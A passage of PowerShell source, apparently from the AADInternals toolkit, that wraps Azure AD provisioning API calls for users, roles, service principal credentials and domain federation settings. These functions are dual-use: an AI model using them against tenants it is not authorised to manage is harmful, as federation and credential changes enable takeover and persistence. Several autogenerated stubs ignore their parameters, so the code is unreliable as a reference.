# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserPrincipalName>$UserPrincipalName</b:UserPrincipalName>
<b:ReturnDeletedUsers>$(b2s($ReturnDeletedUsers))</b:ReturnDeletedUsers>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-CompanySecurityComplianceContactInformation
function Set-CompanySecurityComplianceContactInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$SecurityComplianceNotificationPhones,
[Parameter(Mandatory=$False)]
$SecurityComplianceNotificationEmails
)
Process
{
$command="SetCompanySecurityComplianceContactInformation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:SecurityComplianceNotificationPhones i:nil="true"/>
<b:SecurityComplianceNotificationEmails i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-UserByObjectID
function Get-UserByObjectId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$ObjectId,
[Parameter(Mandatory=$False)]
[Boolean]$ReturnDeletedUsers=$False
)
Process
{
$command="GetUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:ReturnDeletedUsers>$(b2s($ReturnDeletedUsers))</b:ReturnDeletedUsers>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Get individual user
function Get-User
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='ByObjectId',Mandatory=$True)]
$ObjectId,
[Parameter(ParameterSetName='ByUPN',Mandatory=$True)]
$UserPrincipalName,
[Parameter(ParameterSetName='ByLiveID',Mandatory=$True)]
$LiveID,
[Parameter(Mandatory=$False)]
[Boolean]$ReturnDeletedUsers=$False
)
Process
{
if($ObjectId -ne $null)
{
return Get-UserByObjectId -AccessToken $AccessToken -ObjectId $ObjectId -ReturnDeletedUsers $ReturnDeletedUsers
}
elseif($UserPrincipalName -ne $null)
{
return Get-UserByUpn -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName -ReturnDeletedUsers $ReturnDeletedUsers
}
elseif($LiveID -ne $null)
{
return Get-UserByLiveId -AccessToken $AccessToken -LiveId $LiveID
}
}
}
# Remove user
function Remove-User
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='ByObjectId',Mandatory=$True)]
$ObjectId,
[Parameter(ParameterSetName='ByUPN',Mandatory=$True)]
$UserPrincipalName,
[Parameter(Mandatory=$False)]
[Boolean]$RemoveFromRecycleBin=$False
)
Process
{
if($ObjectId -ne $null)
{
return Remove-UserByObjectId -AccessToken $AccessToken -ObjectId $ObjectId -RemoveFromRecycleBin $RemoveFromRecycleBin
}
elseif($UserPrincipalName -ne $null)
{
return Remove-UserByUpn -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName -RemoveFromRecycleBin $RemoveFromRecycleBin
}
}
}
# Get-ServicePrincipals
function Get-ServicePrincipals2
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ServicePrincipalSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
$SortField="DisplayName"
)
Process
{
$command="ListServicePrincipals"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServicePrincipalSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
</b:ServicePrincipalSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results.Results.ServicePrincipal
}
}
# Add-ForeignGroupToRole
# Oct 19th 2018
function Add-ForeignGroupToRole
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$RoleObjectId,
[Parameter(Mandatory=$True)]
$ForeignCompanyObjectId,
[Parameter(Mandatory=$True)]
$ForeignGroupObjectId
)
Process
{
$command="AddForeignGroupToRole"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
$(Add-BElement -Parameter "RoleObjectId" -Value $RoleObjectId)
$(Add-BElement -Parameter "ForeignCompanyObjectId" -Value $ForeignCompanyObjectId)
$(Add-BElement -Parameter "ForeignGroupObjectId" -Value $ForeignGroupObjectId)
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Restore-User
function Restore-User
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
[string]$NewUserPrincipalName,
[Parameter(Mandatory=$False)]
[Boolean]$AutoReconcileProxyConflicts
)
Process
{
$command="RestoreUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:NewUserPrincipalName i:nil="true"/>
<b:AutoReconcileProxyConflicts i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-CompanyPasswordSyncEnabled
function Set-CompanyPasswordSyncEnabled
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$EnablePasswordSync
)
Process
{
$command="SetCompanyPasswordSyncEnabled"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:EnablePasswordSync i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Restore-UserByUpn
function Restore-UserByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[string]$NewUserPrincipalName,
[Parameter(Mandatory=$False)]
[Boolean]$AutoReconcileProxyConflicts
)
Process
{
$command="RestoreUserByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserPrincipalName i:nil="true"/>
<b:NewUserPrincipalName i:nil="true"/>
<b:AutoReconcileProxyConflicts i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Msol-Connect
function Msol-Connect
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$UpdateAvailable
)
Process
{
$command="MsolConnect"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UpdateAvailable i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-GroupMembers
function Get-GroupMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$GroupMemberSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$GroupObjectId,
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$MemberObjectTypes
)
Process
{
$command="ListGroupMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:GroupMemberSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:GroupObjectId i:nil="true"/>
<c:IncludedProperties i:nil="true"/>
<c:MemberObjectTypes i:nil="true"/>
</b:GroupMemberSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ServicePrincipalCredentialsByAppPrincipalId
function Remove-ServicePrincipalCredentialsByAppPrincipalId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$MsodsAsKeyStore,
[Parameter(Mandatory=$False)]
$AppPrincipalId,
[Parameter(Mandatory=$False)]
$KeyIds
)
Process
{
$command="RemoveServicePrincipalCredentialsByAppPrincipalId"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:MsodsAsKeyStore i:nil="true"/>
<b:AppPrincipalId i:nil="true"/>
<b:KeyIds i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-DomainAuthentication
function Set-DomainAuthentication
{
[cmdletbinding()]
Param(
<#
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Authentication,
[Parameter(Mandatory=$False)]
[string]$DomainName
#>
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$DomainName,
[Parameter(Mandatory=$False)]
[string]$ActiveLogOnUri,
[Parameter(Mandatory=$False)]
[string]$DefaultInteractiveAuthenticationMethod,
[Parameter(Mandatory=$False)]
[string]$FederationBrandName,
[Parameter(Mandatory=$False)]
[string]$IssuerUri,
[Parameter(Mandatory=$False)]
[string]$LogOffUri,
[Parameter(Mandatory=$False)]
[string]$MetadataExchangeUri,
[Parameter(Mandatory=$False)]
[string]$NextSigningCertificate,
[Parameter(Mandatory=$False)]
[string]$OpenIdConnectDiscoveryEndpoint,
[Parameter(Mandatory=$False)]
[string]$PassiveLogOnUri,
[Parameter(Mandatory=$False)]
[string]$PasswordChangeUri,
[Parameter(Mandatory=$False)]
[string]$PasswordResetUri,
[Parameter(Mandatory=$False)]
[validateset("WsFed","SAMLP")]
[string]$PreferredAuthenticationProtocol="WsFed",
[Parameter(Mandatory=$False)]
[string]$PromptLoginBehavior,
[Parameter(Mandatory=$False)]
[string]$SigningCertificate,
[Parameter(Mandatory=$False)]
[string]$SigningCertificateUpdateStatus,
[Parameter(Mandatory=$True)]
[validateset("Federated","Managed")]
[string]$Authentication,
[Parameter(Mandatory=$False)]
[boolean]$SupportsMfa=$false
)
Process
{
$command="SetDomainAuthentication"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
$(Add-BElement -Parameter "Authentication" -Value $Authentication)
$(Add-BElement -Parameter "DomainName" -Value $DomainName)
$(
if($Authentication -eq "Federated")
{
'<b:FederationSettings xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">'
$(Add-CElement -Parameter "ActiveLogonUri" -Value $ActiveLogOnUri)
$(Add-CElement -Parameter "DefaultInteractiveAuthenticationMethod" -Value $DefaultInteractiveAuthenticationMethod)
$(Add-CElement -Parameter "FederationBrandName" -Value $FederationBrandName)
$(Add-CElement -Parameter "IssuerUri" -Value $IssuerUri)
$(Add-CElement -Parameter "LogOffUri" -Value $LogOffUri)
$(Add-CElement -Parameter "MetadataExchangeUri" -Value $MetadataExchangeUri)
$(Add-CElement -Parameter "NextSigningCertificate" -Value $NextSigningCertificate)
$(Add-CElement -Parameter "OpenIdConnectDiscoveryEndpoint" -Value $OpenIdConnectDiscoveryEndpoint)
$(Add-CElement -Parameter "PassiveLogOnUri" -Value $PassiveLogOnUri)
$(Add-CElement -Parameter "PasswordChangeUri" -Value $PasswordChangeUri)
$(Add-CElement -Parameter "PasswordResetUri" -Value $PasswordResetUri)
$(Add-CElement -Parameter "PreferredAuthenticationProtocol" -Value $PreferredAuthenticationProtocol)
$(Add-CElement -Parameter "PromptLoginBehavior" -Value $PromptLoginBehavior)
$(Add-CElement -Parameter "SigningCertificate" -Value $SigningCertificate)
$(Add-CElement -Parameter "SigningCertificateUpdateStatus" -Value $SigningCertificateUpdateStatus)
$(Add-CElement -Parameter "SupportsMfa" -Value $SupportsMfa)
'</b:FederationSettings>'
}
else
{
'<b:FederationSettings i:nil="true"/>'
}
)
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-RoleScopedMembers
function Remove-RoleScopedMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$RoleMembers,
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId,
[Parameter(Mandatory=$False)]
$RoleObjectId
)
Process
{
$command="RemoveRoleScopedMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleMembers i:nil="true"/>
<b:AdministrativeUnitObjectId i:nil="true"/>
<b:RoleObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Get-CompanyInformation
function Get-CompanyInformation
{
<#
.SYNOPSIS
Get company information
.DESCRIPTION
Get company information as XML document using Provisioning API
.Parameter AccessToken
Access Token
.EXAMPLE
Get-AADIntCompanyInformation
AllowAdHocSubscriptions : true
AllowEmailVerifiedUsers : true
AuthorizedServiceInstances : AuthorizedServiceInstances
AuthorizedServices :
City :
CompanyDeletionStartTime :
CompanyTags : CompanyTags
CompanyType : CompanyTenant
CompassEnabled :
Country :
CountryLetterCode : US
DapEnabled :
DefaultUsageLocation :
DirSyncAnchorAttribute : mS-DS-ConsistencyGuid
DirSyncApplicationType : 1651564e-7ce4-4d99-88be-0a65050d8dc3
DirSyncClientMachineName : SERVER
DirSyncClientVersion : 1.4.38.0
DirSyncServiceAccount : [email protected]
DirectorySynchronizationEnabled : true
DirectorySynchronizationStatus : Enabled
DisplayName : Company Ltd
InitialDomain : company.onmicrosoft.com
LastDirSyncTime : 2020-08-03T15:29:34Z
LastPasswordSyncTime : 2020-08-03T15:09:07Z
MarketingNotificationEmails :
MultipleDataLocationsForServicesEnabled :
ObjectId : 527e940d-2526-483b-82a9-d5b6bf6cc165
PasswordSynchronizationEnabled : true
PortalSettings : PortalSettings
PostalCode :
PreferredLanguage : en
ReleaseTrack : FirstRelease
ReplicationScope : NA
RmsViralSignUpEnabled : true
SecurityComplianceNotificationEmails :
SecurityComplianceNotificationPhones :
SelfServePasswordResetEnabled : true
ServiceInformation : ServiceInformation
ServiceInstanceInformation : ServiceInstanceInformation
State :
Street :
SubscriptionProvisioningLimited : false
TechnicalNotificationEmails : TechnicalNotificationEmails
TelephoneNumber : 1324567890
UIExtensibilityUris :
UsersPermissionToCreateGroupsEnabled : true
UsersPermissionToCreateLOBAppsEnabled : true
UsersPermissionToReadOtherUsersEnabled : true
UsersPermissionToUserConsentToAppEnabled : true
WhenCreated : 2019-07-14T07:03:20Z
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$TenantId
)
Process
{
$command="GetCompanyInformation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements -TenantId $TenantId)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-ServicePrincipalCredentialsBySpn
function Add-ServicePrincipalCredentialsBySpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$ServicePrincipalName,
[Parameter(Mandatory=$False)]
$Credentials,
[Parameter(Mandatory=$False)]
[Boolean]$MsodsAsKeyStore
)
Process
{
$command="AddServicePrincipalCredentialsBySpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServicePrincipalName i:nil="true"/>
<b:Credentials i:nil="true"/>
<b:MsodsAsKeyStore i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Delete-ApplicationPassword
function Delete-ApplicationPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$PasswordId,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName
)
Process
{
$command="DeleteApplicationPassword"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PasswordId i:nil="true"/>
<b:UserPrincipalName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Retry-GroupProvisioning
function Retry-GroupProvisioning
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="RetryGroupProvisioning"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ServicePrincipalCredentialsBySpn
function Remove-ServicePrincipalCredentialsBySpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$ServicePrincipalName,
[Parameter(Mandatory=$False)]
$KeyIds,
[Parameter(Mandatory=$False)]
[Boolean]$MsodsAsKeyStore
)
Process
{
$command="RemoveServicePrincipalCredentialsBySpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServicePrincipalName i:nil="true"/>
<b:KeyIds i:nil="true"/>
<b:MsodsAsKeyStore i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-RolesForUserByUpn
function Get-RolesForUserByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName
)
Process
{
$command="ListRolesForUserByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserPrincipalName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Update-DirSyncProvisioningError
function Update-DirSyncProvisioningError
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="UpdateDirSyncProvisioningError"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-User
function New-User
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$LicenseOptions,
[Parameter(Mandatory=$False)]
$AlternateEmailAddresses,
[Parameter(Mandatory=$False)]
$AlternateMobilePhones,
[Parameter(Mandatory=$False)]
$AlternativeSecurityIds,
[Parameter(Mandatory=$False)]
$BlockCredential,
[Parameter(Mandatory=$False)]
$City,
[Parameter(Mandatory=$False)]
$CloudExchangeRecipientDisplayType,
[Parameter(Mandatory=$False)]
$Country,
[Parameter(Mandatory=$False)]
$Department,
[Parameter(Mandatory=$False)]
$DirSyncProvisioningErrors,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$Errors,
[Parameter(Mandatory=$False)]
$Fax,
[Parameter(Mandatory=$False)]
$FirstName,
[Parameter(Mandatory=$False)]
$ImmutableId,
[Parameter(Mandatory=$False)]
$IndirectLicenseErrors,
[Parameter(Mandatory=$False)]
$IsBlackberryUser,
[Parameter(Mandatory=$False)]
$IsLicensed,
[Parameter(Mandatory=$False)]
$LastDirSyncTime,
[Parameter(Mandatory=$False)]
$LastName,
[Parameter(Mandatory=$False)]
$LastPasswordChangeTimestamp,
[Parameter(Mandatory=$False)]
$LicenseAssignmentDetails,
[Parameter(Mandatory=$False)]
$LicenseReconciliationNeeded,
[Parameter(Mandatory=$False)]
$Licenses,
[Parameter(Mandatory=$False)]
$LiveId,
[Parameter(Mandatory=$False)]
$MSExchRecipientTypeDetails,
[Parameter(Mandatory=$False)]
$MSRtcSipDeploymentLocator,
[Parameter(Mandatory=$False)]
$MSRtcSipPrimaryUserAddress,
[Parameter(Mandatory=$False)]
$MobilePhone,
[Parameter(Mandatory=$False)]
$OathTokenMetadata,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$Office,
[Parameter(Mandatory=$False)]
$OverallProvisioningStatus,
[Parameter(Mandatory=$False)]
$PasswordNeverExpires,
[Parameter(Mandatory=$False)]
$PasswordResetNotRequiredDuringActivate,
[Parameter(Mandatory=$False)]
$PhoneNumber,
[Parameter(Mandatory=$False)]
$PortalSettings,
[Parameter(Mandatory=$False)]
$PostalCode,
[Parameter(Mandatory=$False)]
$PreferredDataLocation,
[Parameter(Mandatory=$False)]
$PreferredLanguage,
[Parameter(Mandatory=$False)]
$ProxyAddresses,
[Parameter(Mandatory=$False)]
$ReleaseTrack,
[Parameter(Mandatory=$False)]
$ServiceInformation,
[Parameter(Mandatory=$False)]
$SignInName,
[Parameter(Mandatory=$False)]
$SoftDeletionTimestamp,
[Parameter(Mandatory=$False)]
$State,
[Parameter(Mandatory=$False)]
$StreetAddress,
[Parameter(Mandatory=$False)]
$StrongAuthenticationMethods,
[Parameter(Mandatory=$False)]
$StrongAuthenticationPhoneAppDetails,
[Parameter(Mandatory=$False)]
$StrongAuthenticationProofupTime,
[Parameter(Mandatory=$False)]
$StrongAuthenticationRequirements,
[Parameter(Mandatory=$False)]
$StrongAuthenticationUserDetails,
[Parameter(Mandatory=$False)]
$StrongPasswordRequired,
[Parameter(Mandatory=$False)]
$StsRefreshTokensValidFrom,
[Parameter(Mandatory=$False)]
$Title,
[Parameter(Mandatory=$False)]
$UsageLocation,
[Parameter(Mandatory=$False)]
$UserLandingPageIdentifierForO365Shell,
[Parameter(Mandatory=$False)]
$UserPrincipalName,
[Parameter(Mandatory=$False)]
$UserThemeIdentifierForO365Shell,
[ValidateSet('Other','Member','Guest','Viral')]
$UserType="Other",
[ValidateSet('NotAvailable','Healthy','Error')]
$ValidationStatus="NotAvailable",
[Parameter(Mandatory=$False)]
$WhenCreated,
[Parameter(Mandatory=$False)]
$LicenseAssignment,
[Parameter(Mandatory=$False)]
$DisabledServicePlans,
[Parameter(Mandatory=$False)]
$Error,
[Parameter(Mandatory=$False)]
$ReferencedObjectId,
[Parameter(Mandatory=$False)]
$Status,
[Parameter(Mandatory=$False)]
[Boolean]$ForceChangePassword,
[Parameter(Mandatory=$False)]
[string]$Password
)
Process
{
$command="AddUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ForceChangePassword i:nil="true"/>
<b:LicenseAssignment i:nil="true" xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration"/>
<b:LicenseOptions i:nil="true" xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration"/>
<b:Password i:nil="true"/>
<b:User xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:AlternateEmailAddresses i:nil="true" xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<c:AlternateMobilePhones i:nil="true" xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<c:AlternativeSecurityIds i:nil="true"/>
<c:BlockCredential i:nil="true"/>
<c:City i:nil="true"/>
<c:CloudExchangeRecipientDisplayType i:nil="true"/>
<c:Country i:nil="true"/>
<c:Department i:nil="true"/>
<c:DirSyncProvisioningErrors i:nil="true"/>
<c:DisplayName>$DisplayName</c:DisplayName>
<c:Errors i:nil="true"/>
<c:Fax i:nil="true"/>
